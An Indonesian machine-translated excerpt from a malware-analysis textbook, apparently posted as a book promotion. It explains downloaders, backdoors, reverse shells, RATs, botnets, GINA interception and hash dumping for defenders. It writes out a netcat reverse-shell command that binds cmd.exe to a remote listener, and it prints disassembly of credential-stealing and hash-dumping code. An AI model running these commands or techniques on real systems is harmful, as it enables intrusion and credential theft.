Buku "Otopsi akan ditampilkan!" Analisis malware praktis »

gambar Analisis malware menyerupai permainan kucing dan tikus: tidak ada aturan, situasinya terus berubah. Oleh karena itu, dalam hal ini, masuk akal untuk mempelajari hanya hal-hal dan algoritma yang abadi. Segera setelah Anda dihadapkan dengan tugas melindungi jaringan (atau seribu jaringan), Anda melanjutkan ke analisis semacam itu, dan Anda tidak dapat melakukannya tanpa buku ini.

Program untuk mengunduh dan menjalankan perangkat lunak


Ada dua jenis malware yang sering ditemukan yang dirancang untuk mengunduh dan menjalankan perangkat lunak. Pengunduh (jangan bingung dengan pengunduh sistem) cukup unduh kode berbahaya tambahan dari Internet dan jalankan di komputer lokal. Mereka sering didistribusikan bersama dengan exploit. Mereka biasanya menggunakan dua panggilan Windows API, satu demi satu, untuk mengunduh dan mengeksekusi malware tambahan: URLDownloadtoFileA dan WinExec.

Peluncur (peluncur) adalah file yang dapat dieksekusi yang menginstal aplikasi jahat untuk eksekusi tersembunyi mereka (segera atau setelah beberapa waktu). Peluncur sering datang dengan perangkat lunak yang mereka butuhkan untuk dijalankan. Kami akan membahasnya di bab 12.

Backdoors


Backdoors adalah program yang memberikan penyerang akses ke komputer korban. Mereka adalah jenis malware yang paling terdeteksi, dan ukuran serta set fiturnya dapat sangat bervariasi. Kode backdoor biasanya mandiri dan tidak perlu mengunduh file yang terinfeksi tambahan.

Backdoors berinteraksi melalui Internet dalam banyak cara berbeda, tetapi data biasanya ditransmisikan melalui HTTP melalui port 80. HTTP membentuk sebagian besar lalu lintas jaringan keluar, yang memberikan malware peluang besar untuk tidak diketahui dengan latar belakang informasi lain.

Dalam Bab 14, Anda akan belajar bagaimana menganalisis backdoors di tingkat paket, menciptakan tanda tangan jaringan yang efektif. Sementara itu, kami akan fokus pada interaksi tingkat tinggi.
Backdoors dilengkapi dengan serangkaian fungsi standar: kemampuan untuk memanipulasi kunci registri, menghitung jendela yang ditampilkan, membuat direktori, mencari file, dll. Untuk memahami yang mana yang digunakan oleh pintu belakang, Anda dapat memeriksa fungsi Windows API mana yang diimpornya. Lampiran A memberikan daftar fungsi umum yang menjelaskan apa yang dapat mereka katakan tentang malware.

Membalik Perintah Shell


Shell perintah terbalik adalah koneksi yang menginisiasi komputer yang terinfeksi, memberikan akses perintah ke penyerang. Ini bisa berupa program jahat yang terpisah, atau salah satu komponen dari backdoor yang lebih kompleks. Sementara di shell perintah terbalik, penyerang dapat mengeksekusi perintah seolah-olah semua ini terjadi pada sistem lokalnya.

Netcat Reverse Command Shell


Program Netcat yang kita bahas pada Bab 3 dapat digunakan untuk membuat shell perintah jika Anda menjalankannya di dua komputer. Penyerang sering menggunakannya sendiri, serta melengkapinya dengan malware lain.
Untuk menggunakan Netcat, sistem jarak jauh harus menunggu koneksi masuk menggunakan perintah berikut:

nc -l –p 80 

Saklar -l mengalihkan Netcat ke mode mendengarkan, dan sakelar -p menentukan port yang dimonitor. Selanjutnya, komputer korban memulai koneksi keluar dan menyediakan shell perintahnya:

 nc _ip 80 -e cmd.exe 

pendengar ip 80 adalah alamat IP dan port dari host jarak jauh. Opsi -e memungkinkan Anda menentukan program yang akan dijalankan saat koneksi dibuat. Input dan output standarnya akan terikat ke soket (seperti yang akan Anda lihat nanti, Windows sering menggunakan cmd.exe).

Membalikkan Shell Windows


Penyerang menggunakan dua implementasi shell perintah reverse berbasis cmd.exe sederhana di Windows: dasar dan multi-berulir.

Metode dasar ini populer di kalangan penulis malware, karena lebih mudah diterapkan dan umumnya bekerja tidak lebih buruk daripada pendekatan multi-utas. Ini didasarkan pada pemanggilan CreateProcess dan mengubah struktur STARTUPINFO yang diteruskan ke sana. Pertama, soket dibuat dan koneksi dibuat dengan server jarak jauh. Kemudian soket ini dilampirkan ke utas standar (input, output dan aliran kesalahan) dari proses cmd.exe. CreateProcess menjalankan cmd.exe dalam mode tanpa jendela untuk menyembunyikannya dari korban. Bab 7 memberikan contoh teknik ini.

Versi multi-threaded dari shell perintah balik Windows menyiratkan membuat soket, dua pipa dan dua utas (karena itu, Anda harus mencari panggilan CreateThread dan CreatePipe). Metode ini kadang-kadang digunakan oleh penulis malware sebagai bagian dari strategi untuk memodifikasi atau menyandikan data yang dikirimkan melalui soket. Fungsi CreatePipe dapat digunakan untuk mengikat ke saluran membaca dan menulis, seperti input standar (stdin) dan output standar (stdout). Fungsi CreateProcess memungkinkan Anda untuk mengikat utas standar ke saluran, dan tidak langsung ke soket. Setelah dipanggil, malware akan membuat dua utas eksekusi: satu untuk membaca dari saluran stdin dan menulis ke soket, dan yang lainnya untuk membaca dari soket dan menulis ke saluran stdout. Biasanya, utas ini menyandikan data, yang akan kita bahas di Bab 13. Menggunakan metode rekayasa terbalik, Anda dapat memeriksa cabang-cabang di mana stream mendekode paket yang diterima selama sesi terenkripsi.

Alat Administrasi Jarak Jauh


Alat administrasi jarak jauh (RAT) digunakan untuk mengontrol komputer atau komputer melalui jaringan. Mereka sering terlibat dalam serangan yang ditargetkan secara sempit - misalnya, ketika mencuri informasi atau pindah dari komputer ke komputer.

Dalam gbr. 11.1 menunjukkan struktur jaringan RAT. Server yang berjalan pada sistem korban dilengkapi dengan kode berbahaya. Klien bekerja jarak jauh karena modul kontrol siap digunakan penyerang. Server memberi sinyal klien yang mengontrol mereka untuk memulai koneksi. Interworking dalam RAT biasanya terjadi melalui port standar, seperti 80 atau 443.

gambar

Botnet


Botnet adalah kumpulan node jaringan yang terinfeksi (zombie) yang dikelola secara terpusat, biasanya menggunakan server yang disebut pengontrol botnet. Tujuan botnet adalah untuk menginfeksi sebanyak mungkin komputer dan membuat jaringan berskala besar berdasarkan pada mereka yang dapat digunakan baik untuk menyebarkan malware atau spam lain, dan untuk melakukan serangan DDoS (distribusi penolakan layanan). ) Jika semua zombie pada saat yang sama mulai menyerang situs tertentu, itu bisa menjadi tidak dapat diakses.

Perbandingan RAT dan Botnet


Ada beberapa perbedaan penting antara botnet dan alat administrasi jarak jauh.

  • Botnet diketahui menginfeksi dan mengontrol jutaan node. RAT biasanya dijalankan oleh komputer yang jauh lebih sedikit.
  • Semua peserta botnet dikelola secara bersamaan. RAT memungkinkan Anda untuk mendistribusikan sumber daya di antara korban yang berbeda, karena penyerang memiliki kemampuan untuk berinteraksi lebih dekat dengan sistem yang terinfeksi.
  • RAT digunakan dalam serangan bertarget sempit, sementara botnet terkenal karena jumlah besar mereka.

Pencurian kredensial


Penyerang sering melakukan segala macam trik untuk mencuri kredensial. Ini terutama berlaku untuk ketiga jenis malware.

  • Program yang mencuri kredensial pengguna pada saat ia masuk ke sistem.
  • Program yang menyalin informasi yang disimpan di Windows (kata sandi, hash, dll.) Untuk penggunaan langsung atau dekripsi lebih lanjut.
  • Program yang merekam penekanan tombol.

Di bagian ini, kami melihat masing-masing jenis malware ini.

Intersepsi GINA


Windows XP menggunakan trik untuk mencuri kredensial, yang terdiri dari mencegat GINA (identifikasi grafis dan otentikasi). Sistem GINA dibuat untuk memungkinkan aplikasi pihak ketiga untuk mengadaptasi proses login untuk diri mereka sendiri, menambahkan dukungan untuk teknologi seperti identifikasi frekuensi radio (RFID) berdasarkan token atau kartu pintar. Penulis malware mengambil kesempatan ini untuk mengunduh kode yang mencuri kredensial.

GINA diimplementasikan sebagai DLL yang disebut msgina.dll dan dimuat oleh Winlogon saat login. Winlogon juga mendukung plugin pihak ketiga, memuatnya di depan GINA DLL (seperti dalam serangan perantara). Untuk kenyamanan, Windows menyediakan cabang registri berikut, tempat Winlogon dapat menemukan dan memuat DLL pihak ketiga:

 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL 

Setelah kami menemukan file fsgina.dll yang terinfeksi di sana, yang ternyata merupakan pencegat GINA.
Dalam gbr. Gambar 11.2 menunjukkan contoh bagaimana informasi masuk ke perpustakaan jahat, beralih dari Winlogon ke msgina.dll. Malware (fsgina.dll) berhasil mencegat semua kredensial yang dimasukkan pengguna selama otentikasi. Ia dapat menulisnya ke disk atau mentransfer melalui jaringan.

gambar

Karena pustaka fsgina.dll memotong aliran interaksi antara Winlogon dan GINA, itu harus meneruskannya lebih lanjut ke msgina.dll sehingga sistem terus berfungsi secara normal. Untuk melakukan ini, malware harus mengekspor semua fungsi yang diperlukan sistem GINA - ada lebih dari 15 di antaranya, dan kebanyakan dari mereka memiliki awalan WX. Jelas, jika Anda menemukan di DLL banyak fungsi ekspor yang dimulai dengan WX, Anda kemungkinan besar dapat berasumsi bahwa ini adalah pencegat GINA.

Sebagian besar panggilan ekspor ini mengakses fungsi nyata di dalam msgina.dll. Dalam kasus fsgina.dll, ini berlaku untuk semua fungsi kecuali WlxLoggedOutSAS. Listing 11.1 menunjukkan ekspor WlxLoggedOutSAS ke fsgina.dll.

Listing 11.1. Fungsi ekspor WlxLoggedOutSAS di DLL GINA yang mencatat kredensial curian

 100014A0 WlxLoggedOutSAS 100014A0 push esi 100014A1 push edi 100014A2 push offset aWlxloggedout_0 ; "WlxLoggedOutSAS" 100014A7 call Call_msgina_dll_function (1) ... 100014FB push eax ; Args 100014FC push offset aUSDSPSOpS ;"U: %s D: %s P: %s OP: %s" 10001501 push offset aDRIVERS ; "drivers\tcpudp.sys" 10001503 call Log_To_File (2) 

Informasi kredensial segera ditransfer ke file msgina.dll menggunakan panggilan yang ditunjuk sebagai Call_msgina_dll_function (1). Fungsi ini secara dinamis mencari dan meluncurkan panggilan WlxLoggedOutSAS dari msgina.dll, yang ditentukan sebagai argumen. Panggilan on line (2) merekam data. Sebagai argumen, dibutuhkan informasi akuntansi, string format yang dengannya informasi ini akan ditampilkan, dan nama file untuk direkam. Akibatnya, informasi tentang setiap login yang berhasil disimpan ke file% SystemRoot% \ system32 \ drivers \ tcpudp.sys. File ini berisi nama pengguna, domain dan dua kata sandi - saat ini dan yang lama.

Menyimpan Hash


Perangkat lunak berbahaya pada Windows seringkali menyimpan hash sistem untuk mendapatkan akses ke kredensial. Setelah menyimpan, penyerang mencoba mendekripsi hash ini secara offline atau menggunakannya untuk menyerang seperti pass-the-hash. Selama serangan ini, hash LM dan NTLM digunakan untuk otentikasi NTLM jarak jauh, yang tidak memerlukan dekripsi dan memperoleh kata sandi yang sesuai.

Untuk menyimpan hash, ada paket perangkat lunak Pwdump dan Pass-the-Hash (PSH) yang gratis. Karena kedua alat ini adalah open source, banyak malware telah dibuat atas dasar mereka.

Sebagian besar antivirus memiliki tanda tangan untuk versi kompilasi standar dari utilitas ini, sehingga penyerang sering mencoba untuk mengkompilasi variasi mereka sendiri untuk menghindari deteksi. Contoh dalam bab ini adalah jenis pwdump dan PSH yang kita temui dalam kehidupan nyata.

Pwdump adalah seperangkat program yang menghasilkan hash dalam format LM i NTLM milik pengguna lokal dari manajer akun keamanan (SAM). Pwdump menyuntikkan DLL ke dalam proses LSASS (layanan subsistem otoritas keamanan lokal), lebih dikenal sebagai lsass.exe. Kami akan membahas implementasi DLL di bab 12, tetapi untuk saat ini, Anda hanya perlu tahu bahwa ini adalah teknik yang digunakan malware untuk mengeksekusi perpustakaan di dalam proses lain, menggunakan semua hak istimewa mereka. Alat untuk menyimpan hash sering menyerang proses lsass.exe karena memiliki hak istimewa yang cukup dan akses ke banyak fungsi API yang berguna.

Versi standar Pwdump menggunakan perpustakaan lsaext.dll. Ketika disuntikkan ke lsass.exe, ia memanggil fungsi GetHash, yang diekspor dari lsaext.dll untuk mengambil hash. Pada saat yang sama, fungsi Windows tidak berdokumen digunakan, yang akan memungkinkan untuk mendapatkan nomor seri dari semua pengguna dalam sistem dan hash yang tidak terenkripsi dari kata sandi masing-masing.

Menghadapi variasi Pwdump, Anda perlu menganalisis perpustakaannya untuk memahami bagaimana hash disimpan. Hal pertama yang harus Anda perhatikan adalah fungsi ekspor. Panggilan GetHash diekspor dari Pwdump secara default, tetapi penyerang dapat dengan mudah mengubah namanya agar kurang dikenali. Maka Anda harus mencoba menentukan fungsi yang digunakan dalam panggilan ekspor. Banyak dari mereka dapat ditemukan secara dinamis, oleh karena itu, panggilan ekspor sering menggunakan kembali operasi GetProcAddress.

Listing 11.2 memperlihatkan kode fungsi ekspor GrabHash dari DLL dari satu versi Pwdump. Karena perpustakaan tertanam dalam lsass.exe, sebelum menggunakan banyak karakter, pertama-tama harus menemukannya dalam mode manual.

Listing 11.2. Panggilan API unik yang digunakan oleh fungsi ekspor GrabHash di salah satu varian Pwdump

 1000123F push offset LibFileName ; "samsrv.dll" (1) 10001244 call esi ; LoadLibraryA 10001248 push offset aAdvapi32_dll_0 ; "advapi32.dll" (2) ... 10001251 call esi ; LoadLibraryA ... 1000125B push offset ProcName ; "SamIConnect" 10001260 push ebx ; hModule 10001265 call esi ; GetProcAddress ... 10001281 push offset aSamrqu ; "SamrQueryInformationUser" 10001286 push ebx ; hModule 1000128C call esi ; GetProcAddress ... 100012C2 push offset aSamigetpriv ; "SamIGetPrivateData" 100012C7 push ebx ; hModule 100012CD call esi ; GetProcAddress ... 100012CF push offset aSystemfuncti ; "SystemFunction025" (3) 100012D4 push edi ; hModule 100012DA call esi ; GetProcAddress 100012DC push offset aSystemfuni_0 ; "SystemFunction027" (4) 100012E1 push edi ; hModule 100012E7 call esi ; GetProcAddress 

Listing 11.2 memperlihatkan kode untuk mengambil deskriptor pustaka samsrv.dll (1) dan advapi32.dll (2) dengan memanggil LoadLibrary. File samsrv.dll berisi API untuk akses mudah ke SAM, dan file advapi32.dll ditemukan untuk mengakses fungsi-fungsi yang tidak diimpor ke lsass.exe. Pustaka dinamis dari variasi ini Pwdump menggunakan deskriptor pustaka ini untuk mencari banyak fungsi. Lima yang paling penting ditunjukkan dalam daftar (perhatikan panggilan GetProcAddress dan argumennya).

Panggilan yang menarik seperti SamIConnect, SamrQueryInformationUser, dan SamIGetPrivateData diimpor dari samsrv.dll. Panggilan SamIConnect selanjutnya digunakan untuk terhubung ke SAM, setelah itu fungsi SamrQueryInformationUser dipanggil untuk setiap pengguna dalam sistem.

Hash diambil menggunakan panggilan SamIGetPrivateData, dan kemudian didekripsi menggunakan fungsi SystemFunction025 dan SystemFunction027 yang diimpor dari advapi32.dll (baris (2) dan (3)). Tidak ada fungsi API dalam daftar ini yang dijelaskan dalam dokumentasi resmi.

PSH Toolkit berisi program yang membuat hash dumps. Yang paling populer dari dump ini dikenal sebagai whosthere-alt. Ini menyimpan konten SAM yang diperoleh dengan menyematkan DLL di lsass.exe. Pada saat yang sama, bila dibandingkan dengan Pwdump, serangkaian fungsi API yang sama sekali berbeda digunakan. Listing 11.3 memperlihatkan kode versi untuk whosthere-alt, yang mengekspor fungsi yang disebut TestDump.

Listing 11.3. Panggilan API unik yang digunakan oleh fungsi ekspor TestDump versi whosthere-alt

 10001119 push offset LibFileName ; "secur32.dll" 1000111E call ds:LoadLibraryA 10001130 push offset ProcName ; "LsaEnumerateLogonSessions" 10001135 push esi ; hModule 10001136 call ds:GetProcAddress (1) ... 10001670 call ds:GetSystemDirectoryA 10001676 mov edi, offset aMsv1_0_dll ; \\msv1_0.dll ... 100016A6 push eax ; path to msv1_0.dll 100016A9 call ds:GetModuleHandleA (2) 

Karena pustaka ini tertanam di lsass.exe, fungsi TestDump-nya membuat dump hash. Ini secara dinamis memuat file secur32.dll dan menemukan LsaEnumerateLogonSessions (1) memanggilnya untuk mendapatkan daftar pengidentifikasi unik lokal (LUID). Daftar ini berisi nama dan domain yang ditunjukkan pada setiap login. Perpustakaan melewati mereka untuk mendapatkan akses ke informasi akuntansi. Untuk melakukan ini, menggunakan panggilan ke GetModuleHandle (2), ia mencari di dalam msv1_0.dll untuk fungsi yang tidak diekspor, NlpGetPrimaryCredential, yang memungkinkan dumping hash NT dan LM.

Tentang Penulis


Michael Sikorski adalah spesialis keamanan di Mandiant. Dia terlibat dalam analisis malware sebagai bagian dari investigasi insiden dan merupakan konsultan pemerintah AS untuk keamanan informasi. Michael telah mengembangkan serangkaian kursus analisis malware dan mengajarkannya kepada audiens yang beragam, termasuk FBI dan Black Hat. Sebelum Mandiant, ia adalah seorang karyawan Laboratorium Lincoln di Massachusetts Institute of Technology dan melakukan penelitian tentang topologi jaringan pasif dan pengujian penetrasi. Selain itu, Michael menyelesaikan program pelatihan interdisipliner tiga tahun tentang sistem dan jaringan di NSA. Selama pelatihan, ia berpartisipasi dalam studi teknik reverse engineering dan menerima beberapa penghargaan di bidang analisis jaringan.

Andrew Honig adalah pakar keamanan informasi di Departemen Pertahanan AS. Ia mengajar analisis perangkat lunak, rekayasa terbalik, dan pemrograman untuk sistem operasi Windows (OS) di National School of Cryptography, sambil menjadi spesialis keamanan sistem informasi bersertifikat. Karena Andrew beberapa eksploitasi nol hari untuk virtualisasi VMware, serta alat untuk mendeteksi malware inovatif, termasuk modul kernel yang terinfeksi. Memiliki sepuluh tahun pengalaman sebagai analis di bidang keamanan komputer, ia berhak dianggap ahli dalam analisis dan interpretasi program jahat dan biasa.

»Informasi lebih lanjut tentang buku ini dapat ditemukan di situs web penerbit
» Isi
» Kutipan

Untuk Khabrozhiteley, diskon 20% pada kupon - Otopsi akan ditampilkan

Source: https://habr.com/ru/post/id416143/


All Articles